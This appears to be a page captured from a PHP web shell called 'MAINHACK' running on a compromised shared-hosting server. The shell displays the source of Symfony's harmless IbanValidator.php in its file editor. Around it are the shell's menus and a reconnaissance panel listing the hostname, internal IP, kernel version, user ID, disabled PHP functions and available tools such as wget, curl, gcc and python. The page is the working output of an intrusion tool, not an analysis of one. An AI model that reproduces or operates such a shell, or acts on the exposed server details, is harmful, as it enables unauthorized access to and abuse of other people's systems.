[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: IbanValidator.php
File is not writable. Editing disabled.
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator\Constraints; use Symfony\Component\Validator\Constraint; use Symfony\Component\Validator\ConstraintValidator; /** * @author Manuel Reinhard <manu@sprain.ch> * @author Michael Schummel * @link http://www.michael-schummel.de/2007/10/05/iban-prufung-mit-php/ */ class IbanValidator extends ConstraintValidator { /** * {@inheritDoc} */ public function validate($value, Constraint $constraint) { if (null === $value || '' === $value) { return; } // An IBAN without a country code is not an IBAN. if (0 === preg_match('/[A-Z]/', $value)) { $this->context->addViolation($constraint->message, array('{{ value }}' => $value)); return; } $teststring = preg_replace('/\s+/', '', $value); if (strlen($teststring) < 4) { $this->context->addViolation($constraint->message, array('{{ value }}' => $value)); return; } $teststring = substr($teststring, 4) .strval(ord($teststring{0}) - 55) .strval(ord($teststring{1}) - 55) .substr($teststring, 2, 2); $teststring = preg_replace_callback('/[A-Z]/', function ($letter) { return intval(ord(strtolower($letter[0])) - 87); }, $teststring); $rest = 0; $strlen = strlen($teststring); for ($pos = 0; $pos < $strlen; $pos += 7) { $part = strval($rest).substr($teststring, $pos, 7); $rest = intval($part) % 97; } if ($rest != 1) { $this->context->addViolation($constraint->message, array('{{ value }}' => $value)); return; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.06 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A